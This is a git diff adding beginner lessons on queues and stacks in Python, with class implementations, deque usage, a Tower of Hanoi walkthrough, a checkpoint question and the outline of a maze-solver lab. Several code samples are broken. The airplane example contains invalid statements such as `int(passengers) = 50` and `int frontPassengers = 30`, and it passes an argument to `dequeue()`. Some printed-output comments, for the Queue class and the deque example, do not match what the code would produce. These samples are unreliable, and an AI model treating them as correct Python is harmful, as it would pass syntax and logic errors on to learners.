Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/images/Double_Hashing_Example.jpeg differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/images/Quadratic_Probing_Diagram .jpeg b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/images/Quadratic_Probing_Diagram .jpeg
new file mode 100644
index 00000000..5461748e
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/images/Quadratic_Probing_Diagram .jpeg differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/images/hash.png b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/images/hash.png
new file mode 100644
index 00000000..62bfd897
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity2_HashTables/images/hash.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/README.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/README.md
new file mode 100644
index 00000000..bedd3618
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/README.md
@@ -0,0 +1,79 @@
+# github_id
+3
+
+# name
+Queues
+
+# description
+Learning about the Queue Data Structure and its implementations
+
+# summary
+Understand how Queues work in Python. Learn to push and pop elements from queues and what queues are used for.
+
+# difficulty
+Easy
+
+# image
+
+
+# image_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/
+
+# cards
+
+## 1
+
+### name
+Queues in General
+
+### order
+1
+
+### gems
+15
+
+## 2
+
+### name
+Implementing a Queue
+
+### order
+2
+
+### gems
+15
+
+## 3
+
+### name
+Dequeue Library Implementation
+
+### order
+3
+
+### gems
+15
+
+## 4
+
+### name
+Real-Life Example with a Queue
+
+### order
+4
+
+### gems
+15
+
+## 5
+
+### name
+Example with a Queue
+
+### order
+
+5
+
+### gems
+
+15
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/1.md
new file mode 100644
index 00000000..548e1938
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/1.md
@@ -0,0 +1,14 @@
+A queue is a simple data structure concept that can be easily applied in our day to day life, like when you stand in a line to buy coffee at Starbucks. People enter the line from one end and leave at the other end. The person to arrive first leaves the line first and the person to arrive last leaves the line last. Once all the people are served, no one is left in line!
+
+
+
+
+### Queues in Python
+
+Now, let’s look at the above points programmatically:
+
+1. Queues are open from both ends meaning elements are added from the back and removed from the front
+2. The element to be added first is removed first (First In First Out - FIFO)
+3. If all the elements are removed, then the queue is empty and if you try to remove elements from an empty queue, a warning or an error message is thrown.
+4. If the queue is full and you add more elements to the queue, a warning or error message must be thrown.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/2.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/2.md
new file mode 100644
index 00000000..be7540bc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/2.md
@@ -0,0 +1,22 @@
+### Implementing a queue
+
+When implementing a queue, here are a couple points to remember:
+
+1. The points of entry and exit are different in a Queue.
+2. Enqueue is a function of a Queue data structure used to add an element to a Queue.
+3. Dequeue is a function of a Queue data structure used to remove an element from a Queue.
+4. The front of a Queue is the element of the Queue that was first enqueued.
+5. The rear of a Queue is the element of the Queue that was last enqueued.
+6. Random access is not allowed - you cannot add or remove an element from the middle.
+
+Keep these facts and definitions in mind as we go through the implementations of a Queue.
+
+We are going to see two different implementations. One is using Lists and another is using the library *dequeue*. Let’s take a look one by one...
+
+
+
+
+
+> Remember, Queues operate in FIFO (first in, first out) order
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/3.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/3.md
new file mode 100644
index 00000000..f6bf2853
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/3.md
@@ -0,0 +1,52 @@
+# Defining a Class Queue
+
+Here, we are going to define a class `Queue` using a list and add methods to perform the below operations:
+
+1. Enqueue elements to the beginning of the `Queue` and issue a warning if it's full.
+2. Dequeue elements from the end of the `Queue` and issue a warning if it’s empty.
+3. Assess the size of the `Queue`.
+4. Print all the elements of the `Queue`.
+
+```python
+class Queue:
+ #Constructor creates a list
+ def __init__(self):
+ self.queue=[]
+
+ #Adding elements to queue
+ def enqueue(self,data):
+ self.queue.insert(0,data)
+ return True
+
+ #Removing the last element from the queue
+ def dequeue(self):
+ return self.queue.pop()
+
+ #Getting the size of the queue
+ def size(self):
+ return len(self.queue)
+
+ #printing the elements of the queue
+ def printQueue(self):
+ return self.queue
+
+
+myQueue = Queue()
+print(myQueue.enqueue(5)) #prints True
+print(myQueue.enqueue(6)) #prints True
+print(myQueue.enqueue(9)) #prints True
+print(myQueue.enqueue(5)) #prints True
+print(myQueue.enqueue(3)) #prints True
+print(myQueue.size()) #prints 5
+print(myQueue.dequeue()) #prints 5
+print(myQueue.dequeue()) #prints 6
+print(myQueue.dequeue()) #prints 9
+print(myQueue.dequeue()) #prints 3
+print(myQueue.dequeue()) #prints 5
+print(myQueue.size()) #prints 0
+print("Queue Empty!")#prints Queue Empty!
+```
+
+Call the method `printQueue()` wherever necessary to ensure that it's working.
+
+**Note:** You will notice that we are not removing elements from the beginning and adding elements at the end. The reason for this is covered in the 'implementation using arrays' section below.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/4.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/4.md
new file mode 100644
index 00000000..96e1ac28
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/4.md
@@ -0,0 +1,50 @@
+# Deque Implementation
+
+`deque` is a library which, when imported, provides ready-made commands such as the `append()` command for enqueuing and the `popleft()` command for dequeuing.
+However, what makes deque great is that it serves as a double ended queue. This means that insertions and deletions can occur at *either* end. In other words, we are allowed to add or delete elements from either end of the queue.
+This library also includes the functions `appendleft()` and `pop()` which will insert values from the left end and delete values from the right end respectively.
+Another useful command we want to know is the `index()` command. This looks for the specific value that's in our Queue.
+If we know the index, we can then go and use the `remove()` command which takes a specific value to remove from the Queue itself.
+
+
+
+`Deque` has a lot of functionality and we should now learn to make use of them!
+
+1. First we have to import the collection!
+```python
+from collections import deque
+```
+
+
+2. Now if we were to create a queue...
+```python
+# Creating a Queue
+queue = deque([1,5,8,9])
+```
+
+
+3. If we wanted to append items to our queue...
+```python
+# Enqueuing elements to the Queue
+queue.append(7) #[1,5,8,9,7]
+queue.append(0) #[1,5,8,9,7,0]
+```
+
+
+4. If we wanted to deque elements...
+```python
+
+# Dequeuing elements from the Queue
+queue.popleft() #[5,8,9,7,0]
+queue.popleft() #[8,7,9,0]
+
+```
+
+5. If we wanted to display all our elements in the Queue...
+```python
+#Printing the elements of the Queue
+print(queue)
+```
+
+Try using the *popleft()* command after the queue is empty and see what you get. Post the ways in which you can handle this issue.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/5.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/5.md
new file mode 100644
index 00000000..e1195b53
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/5.md
@@ -0,0 +1,32 @@
+# Example with Queue
+
+We've gone over queues, but now lets take a look at an example. For this application, we can envision that we have people boarding into an airplane. Common courtesy in the plane is that the first people to board the plane get the first seats (towards the front of the plane). So let's load up our plane with 50 passengers:
+
+
+
+> Note: we'll be using a list implementation of the queue.
+
+```python
+passengers = 50 #Total of the current 50 passengers on the plane
+boardingPlane = Queue()
+int(passengers) = 50
+
+for x in range(passengers):
+ boardingPlane.enqueue(x)
+
+print(boardingPlane.size()) #result prints a size of 50
+```
+
+> Note: since 50 passengers is a lot to manually `enqueue()`, we can accomplish this in a concise way by using a for loop to iterate through 50 times to `enqueue()` them all.
+
+Later in the day, the airplane lands at Sacramento International Airport. However, only the first 30 passengers in the front leave because the 20 passengers in the back will stay on for the connecting fight. The first 30 passengers corresponds to passengers 1 to 30 for the variable `frontPassengers` for our `boardingPlane`.
+
+```python
+frontPassengers = 30 #1st 30 passengers that left the plane
+int frontPassengers = 30
+
+for x in range(frontPassengers):
+ boardingPlane.dequeue(x)
+
+print(boardingPlane.size()) #result prints a size of 20
+```
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/checkpoints/2-Checkpoint.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/checkpoints/2-Checkpoint.md
new file mode 100644
index 00000000..cf1b061b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/checkpoints/2-Checkpoint.md
@@ -0,0 +1,11 @@
+# name
+Queues Checkpoint
+
+# cards_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/cards/
+
+# instruction
+Name and explain the function(s) typically implemented for a queue. Explain what the function(s) represent(s) in the Starbucks line example.
+
+# checkpoint_type
+Short Answer
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/images/Queue.jpg b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/images/Queue.jpg
new file mode 100644
index 00000000..25926e0f
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity3_Queues/images/Queue.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/README.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/README.md
new file mode 100644
index 00000000..8e84be9c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/README.md
@@ -0,0 +1,132 @@
+# github_id
+4
+
+# name
+Stacks
+
+# description
+Understand what a stack is and how to use it.
+
+# summary
+Learn about stacks and how to implement them in Python. Then use stacks to solve a fun mathematical puzzle!
+
+# difficulty
+Easy
+
+# image
+
+
+# image_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/
+
+# cards
+
+## 1
+
+### name
+Stacks
+
+### order
+1
+
+### gems
+15
+
+## 2
+
+### name
+Implementing Stacks
+
+### order
+2
+
+### gems
+15
+
+## 3
+
+### name
+Creating a Stack in Python
+
+### order
+3
+
+### gems
+15
+
+## 4
+
+### name
+Popping From a Stack
+
+### order
+4
+
+### gems
+15
+
+## 5
+
+### name
+Stack Class
+
+### order
+5
+
+### gems
+20
+
+## 6
+
+### name
+Using Our Stack
+
+### order
+6
+
+### gems
+20
+
+## 7
+
+### name
+Removing Elements
+
+### order
+7
+
+### gems
+20
+
+## 8
+
+### name
+Tower of Hanoi
+
+### order
+8
+
+### gems
+20
+
+## 9
+
+### name
+Approaching Tower of Hanoi
+
+### order
+9
+
+### gems
+20
+
+## 10
+
+### name
+Solving Tower of Hanoi
+
+### order
+10
+
+### gems
+20
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/1.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/1.md
new file mode 100644
index 00000000..094a78b9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/1.md
@@ -0,0 +1,32 @@
+In this section you are about to learn one of the very basic and most useful data structure concepts known as a **Stack**.
+
+A data structure **Stack** can be shown as below:
+
+
+
+> The above image is **Stack Data Structure**. A Stack is a **Last In First Out (LIFO)** data structure. It supports two basic operations called **push** and **pop**. The **push** operation *adds* an element at the **top of the stack**, and the **pop** operation *removes* an element from the **top of the stack**.
+
+---
+
+When you hear the word Stack, the first thing that comes to your mind may be a stack of books, and we can use this analogy to explain stacks easily! Some of the commonalities include:
+
+1. There is a book at the top of the stack (if there is only one book in the stack, then that will be considered the topmost book).
+2. Only when you remove the topmost book can you get access to the bottom ones. No Jenga games here! (Also assume that you can only lift one book at a time).
+3. Once you remove all the books from the top one by one, there will be none left and hence you cannot remove any more books.
+
+
+
+> The above image is a visual representation of how a stack works.
+
+---
+
+Overall, the point of a stack is to ensure that the item that's placed highest (in our case placed last) has the most priority to be removed. The stack follows the concept of LIFO (Last In, First Out) in which the last item in our stack will be removed first.
+
+**Things to remember:**
+
+1. The entry and exit of elements happens only from the top of the stack
+2. Push - Adding an element to the Stack (at the **top of the stack**)
+3. Pop - Removing an element from the Stack (at the **top of the stack**)
+4. Random access is not allowed - you cannot add or remove an element from the middle.
+
+Note: **Always keep track of the Top.** This tells us the status of the stack.
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/10.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/10.md
new file mode 100644
index 00000000..91f1ac95
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/10.md
@@ -0,0 +1,83 @@
+**Step 4)**
+
+Now, the destination pole is free for us to put the `largeDisk` in first:
+
+```python
+disk=sourcePole.pop()
+destPole.push(disk)
+
+print(sourcePole.stack)
+print(auxPole.stack)
+print(destPole.stack)
+```
+
+**Result of the code:**
+
+
+
+---
+
+**Step 5)**
+
+Our goal now is to get the `avgDisk` on top of the `largeDisk` on the destination pole, but `smallDisk` is in the way.
+
+Let's move that back to the source pole:
+
+```python
+disk=auxPole.pop()
+sourcePole.push(disk)
+
+print(sourcePole.stack)
+print(auxPole.stack)
+print(destPole.stack)
+```
+
+**Result of the code:**
+
+
+
+---
+
+**Step 6)**
+
+The `avgDisk` can now be put on top of the `largeDisk` in the destination pole:
+
+```python
+disk=auxPole.pop()
+destPole.push(disk)
+
+print(sourcePole.stack)
+print(auxPole.stack)
+print(destPole.stack)
+```
+
+ **result of the code :**
+
+
+
+---
+
+**Step 7)**
+
+Finally, we just need to put the `smallDisk` onto our destination pole and we will have completed our Tower of Hanoi puzzle!
+
+```python
+disk=sourcePole.pop()
+destPole.push(disk)
+
+print(sourcePole.stack)
+print(auxPole.stack)
+print(destPole.stack)
+```
+
+**Result of the code:**
+
+
+
+---
+
+For a visual representation of the steps taken to complete our Tower of Hanoi programmatically, see the figure below:
+
+
+
+If you want to solve the Tower of Hanoi automatically, you can develop a stack class that takes into account the size of each disk to be added into a pole. Then, pop each disk out of the stack and create new towers (stacks) to input any of the disks in a different order no matter the size.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/2.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/2.md
new file mode 100644
index 00000000..a7f4460e
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/2.md
@@ -0,0 +1,20 @@
+### How do you implement a stack?
+
+Now that you know what a Stack is, let's get started with the implementation!
+
+
+
+### Stack Implementation
+
+
+
+Here, we are going to define a class stack and add methods to perform the below operations:
+
+1. Push elements into a stack.
+2. Pop elements from a stack and issue a warning if it’s empty.
+3. Get the size of the stack.
+4. Print all the elements of the stack.
+
+---
+
+
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/3.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/3.md
new file mode 100644
index 00000000..7f7dd0a9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/3.md
@@ -0,0 +1,38 @@
+### Create a stack in Python
+
+Here, we create our class `Stack`, which build our stack with attributes that comply to its structure. Within the class, we will first create the constructor, which defines a `stack` object as a list.
+
+```python
+class Stack:
+
+ #Constructor creates a list
+ def __init__(self):
+ self.stack = list()
+```
+
+---
+
+#### Push elements (add elements)
+
+Since our stack is just a list for now, we will now add the attributes that make it a stack. We still start off by defining the `push()` function, which adds elements into our stack.
+
+**Two Parameters:**
+
+*self:* This refers to our stack objects.
+
+*data*: This is the data element you wish to add into the stack.
+
+**Steps:**
+
+1. Use Python's `append` function to add an element to the end of the list (the top of our stack) and return *True*. The `push()` function returns true to ensure that our item was added to the top (last index) of the stack.
+
+```python
+ #Adding elements to stack
+ def push(self,data):
+ self.stack.append(data)
+ return True
+```
+
+---
+
+>
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/4.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/4.md
new file mode 100644
index 00000000..8ed738b0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/4.md
@@ -0,0 +1,40 @@
+Now that we have the functionality to add to our stack, we must also have the ability to take elements out of our stack. Remember that stacks follow the **LIFO (last-in first-out)** order. This means the last element added in is the first element that gets removed. Our `pop()` function will be used to accomplish the removal of elements from our stack.
+
+**One Parameter:**
+
+*self:* This refers to our stack objects.
+
+**Steps:**
+
+1. Check if the length of our stack is less than or equal to zero in order to confirm if it's empty or not.
+2. If it is empty, then we will return a print statement indicating so.
+3. Otherwise, we know it is not empty. Use Python's `pop()` function, which returns the last element of the list (the top of our stack), and remove it.
+
+```python
+ #Removing last element from the stack
+ def pop(self):
+ if len(self.stack)<=0:
+ return ("Stack Empty!")
+ return self.stack.pop()
+```
+
+---
+
+#### Size of the Stack
+
+Lastly, the only remaining function to accomplish our stack implementation is `size()`, which returns the size of our stack (how many elements are in the stack).
+
+**One Parameter:**
+
+*self:* This refers to our stack objects.
+
+**Steps:**
+
+Use Python's `len` function to return the length of the list (defined as our stack).
+
+```python
+ #Getting the size of the stack
+ def size(self):
+ return len(self.stack)
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/5.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/5.md
new file mode 100644
index 00000000..18f36e35
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/5.md
@@ -0,0 +1,29 @@
+### Class of Stack
+
+Here is our full implementation of `Stack`:
+
+```python
+class Stack:
+
+ #Constructor creates a list
+ def __init__(self):
+ self.stack = list()
+
+ #Adding elements to stack
+ def push(self,data):
+ self.stack.append(data)
+ return True
+
+ #Removing last element from the stack
+ def pop(self):
+ if len(self.stack)<=0:
+ return ("Stack Empty!")
+ return self.stack.pop()
+
+ #Getting the size of the stack
+ def size(self):
+ return len(self.stack)
+```
+
+> NOTE: Since the stack is represented by a list, our stack size is dynamic, implying that we do not have concerns for increasing and decreasing our stack to whatever length of elements.
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/6.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/6.md
new file mode 100644
index 00000000..09bbf61d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/6.md
@@ -0,0 +1,62 @@
+#### Initialize Stack
+
+Using our `Stack` implementation, we can now use it as a data structure for storing and removing data elements. To begin using our stack, we need to initialize it as such:
+
+```python
+myStack = Stack()
+```
+
+#### Add elements
+
+The variable `myStack` is now a stack object that is capable of using the functions we previously defined for our stack. Let's add some elements into our stack via `push()`, I will also print the operations in order for you to see that they have happened successfully since the function returns a boolean:
+
+```python
+myStack = Stack()
+print(myStack.push(5)) #prints whether the operation "push" successes
+print(myStack.stack) #print the stack(left is bottom of the stack,right is the top of stack)
+print(myStack.push(6))
+print(myStack.stack)
+print(myStack.push(9))
+print(myStack.stack)
+print(myStack.push(5))
+print(myStack.stack)
+print(myStack.push(3))
+print(myStack.stack)
+```
+
+**result of the code :**
+
+```python
+True
+[5]
+True
+[5, 6]
+True
+[5, 6, 9]
+True
+[5, 6, 9, 5]
+True
+[5, 6, 9, 5, 3]
+```
+
+Thus, our stack should now look as such: [5, 6, 9, 5, 3].
+
+---
+
+#### Return Size of Stack
+
+If we check the size of our stack we can do so as such:
+
+```python
+print(myStack.size())
+```
+
+**result of the code :**
+
+
+
+and we see that the size of `myStack` is 5!
+
+---
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/7.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/7.md
new file mode 100644
index 00000000..97ea9701
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/7.md
@@ -0,0 +1,37 @@
+#### Removing elements
+
+Now we can proceed to remove the elements from our stack which is simply just calling `pop()` on `myStack`:
+
+```python
+print(myStack.pop()) #print the value of removed element
+print("Current stack :",myStack.stack) #print the stack now
+print(myStack.pop())
+print("Current stack :",myStack.stack)
+print(myStack.pop())
+print("Current stack :",myStack.stack)
+print(myStack.pop())
+print("Current stack :",myStack.stack)
+print(myStack.pop())
+print("Current stack :",myStack.stack)
+print("the size of the stack now :",myStack.size()) #print the size of stack
+print(myStack.pop())
+```
+
+**Result of the code:**
+
+```python
+3
+Current stack : [5, 6, 9, 5]
+5
+Current stack : [5, 6, 9]
+9
+Current stack : [5, 6]
+6
+Current stack : [5]
+5
+Current stack : []
+the size of the stack now : 0
+Stack Empty!
+```
+
+Since `myStack` only contained 5 elements, the stack became empty after calling `pop()` five times as seen when we check the size again. Then upon calling `pop()` for the sixth time, we see that "Stack Empty!" is printed.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/8.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/8.md
new file mode 100644
index 00000000..e56cfa98
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/8.md
@@ -0,0 +1,27 @@
+
+Stack data structures have a wide range of practical applications and can solve many problems. Next, we will use the stack to solve an interesting game problem—*Tower of Hanoi*.
+
+---
+
+
+
+### Application of the Stack — Tower of Hanoi
+
+The Tower of Hanoi is a mathematical puzzle consisting of three poles and various sizes of disks that can slide onto any pole. The puzzle starts with the disks neatly stacked in ascending order of size on one pole, making a conical shape. The objective of the puzzle is to move all the disks from one pole ('source pole') to another pole (‘destination pole’) with the help of the third pole ('auxiliary pole').
+
+The puzzle has the following **two rules**:
+
+1. You can’t place a larger disk onto a smaller one.
+2. Only one disk can be moved at a time.
+
+With our stack implementation, we can go ahead and solve the Tower of Hanoi. Each pole (tower) will be represented by a stack. Each disk will be represented as a data element stored in the stack.
+
+**Assumption:**
+
+3 disks and 3 poles (towers). Below is a visual representation:
+
+
+
+> Note: The left, middle, and right poles correspond respectively to the source, auxiliary, and destination.
+
+Our objective is to move the stack of disks in the source pole to the destination pole in the exact same order without stacking a larger disk onto a smaller one. Implementing a stack helps rearrange the size of the disks depending on what was inserted latest in the pole and can be rearranged for other poles.
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/9.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/9.md
new file mode 100644
index 00000000..1902e987
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/cards/9.md
@@ -0,0 +1,94 @@
+We're now going to explain the programming concept behind the Tower of Hanoi.
+
+**Step 0) Initialize**
+
+Let's initialize all the items we need and set up our puzzle:
+
+```python
+sourcePole = Stack()
+auxPole = Stack()
+destPole = Stack()
+
+smallDisk = 1
+avgDisk = 2
+largeDisk = 3
+
+sourcePole.push(largeDisk)
+sourcePole.push(avgDisk)
+sourcePole.push(smallDisk)
+
+print(sourcePole.stack) # print the Initial state of 3 poles
+print(auxPole.stack)
+print(destPole.stack)
+```
+
+**Result of the code:**
+
+
+
+> Note: Remember that the stack is LIFO, so we must `push()` our elements in the appropriate order. The source pole has the `largeDisk` at the bottom and `smallDisk` at the top.
+
+---
+
+**Step 1)**
+
+Now, let's solve this puzzle! For our first move, we can only remove the top disk, or `smallDisk`.
+
+Let's place the `smallDisk` on the destination pole:
+
+```python
+disk = sourcePole.pop() #remove the top disk of source pole to destination pole
+destPole.push(disk)
+
+print(sourcePole.stack) #print the state now
+print(auxPole.stack)
+print(destPole.stack)
+```
+
+**Result of the code:**
+
+
+
+---
+
+**Step 2)**
+
+Next, we will put the `avgDisk` onto the auxiliary pole (each pole now has 1 disk):
+
+```python
+disk = sourcePole.pop() #remove the top disk of source pole now to destination pole
+auxPole.push(disk)
+
+print(sourcePole.stack) #print the state now
+print(auxPole.stack)
+print(destPole.stack)
+```
+
+**Result of the code:**
+
+
+
+---
+
+**Step 3)**
+
+Knowing that we want to put the `largeDisk` first onto the destination pole, we need to move the `smallDisk`.
+
+Let's put the `smallDisk` on top of the `avgDisk` on the auxiliary pole:
+
+```python
+disk=destPole.pop()
+auxPole.push(disk)
+
+print(sourcePole.stack)
+print(auxPole.stack)
+print(destPole.stack)
+```
+
+**Result of the code:**
+
+
+
+---
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/images/stacks.png b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/images/stacks.png
new file mode 100644
index 00000000..eb052eba
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Activity4_Stacks/images/stacks.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/README.md b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/README.md
new file mode 100644
index 00000000..5e3e0b77
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/README.md
@@ -0,0 +1,344 @@
+# github_id
+14
+
+# name
+Maze Solver with Stack
+
+# description
+Students will learn to implement a stack data structure with the purpose of solving a maze.
+
+# summary
+Students will use a stack data structure to create a program that can solve a maze. This lab gives students practice with essential data structures. They will learn how to apply stacks to an interesting problem scenario.
+
+# difficulty
+Medium
+
+# image
+
+
+# image_folder
+Data-Structures-and-Algos-Topic/Module1-Intro-to-Data-Structures-and-Algos/Lab4_Maze_Solver_With_Stack/
+
+# cards
+
+## 1
+
+### name
+Maze Solver with Stack
+
+### order
+1
+
+### gems
+70
+
+
+## 2
+
+### name
+Load File as Map
+
+### order
+2
+
+### gems
+60
+
+## 3
+
+### name
+Print Grid
+
+### order
+3
+
+### gems
+30
+
+## 4
+
+### name
+Maze Solver
+
+### order
+4
+
+### gems
+150
+
+
+## 5
+
+### name
+Move Cursor: gotoxy()
+
+### order
+5
+
+### gems
+100
+
+
+## 6
+
+### name
+main()
+
+### order
+6
+
+### gems
+50
+
+## 1-1
+
+### name
+__init__ and push
+
+### order
+1
+
+### gems
+7
+
+## 1-2
+
+### name
+Pop and Top
+
+### order
+2
+
+### gems
+7
+
+## 1-3
+
+### name
+isFull() & isEmpty()
+
+### order
+3
+
+### gems
+7
+
+## 2-1
+
+### name
+Initialize 2D Array
+
+### order
+1
+
+### gems
+9
+
+## 2-2
+
+### name
+Write File to Array
+
+### order
+2
+
+### gems
+9
+
+## 3-1
+
+### name
+Print Grid
+
+### order
+1
+
+### gems
+9
+
+## 4-1
+
+### name
+Starting with a While Loop
+
+### order
+1
+
+### gems
+12
+
+## 4-2
+
+### name
+Dead End
+
+### order
+2
+
+### gems
+12
+
+## 4-3
+
+### name
+Four Directions
+
+### order
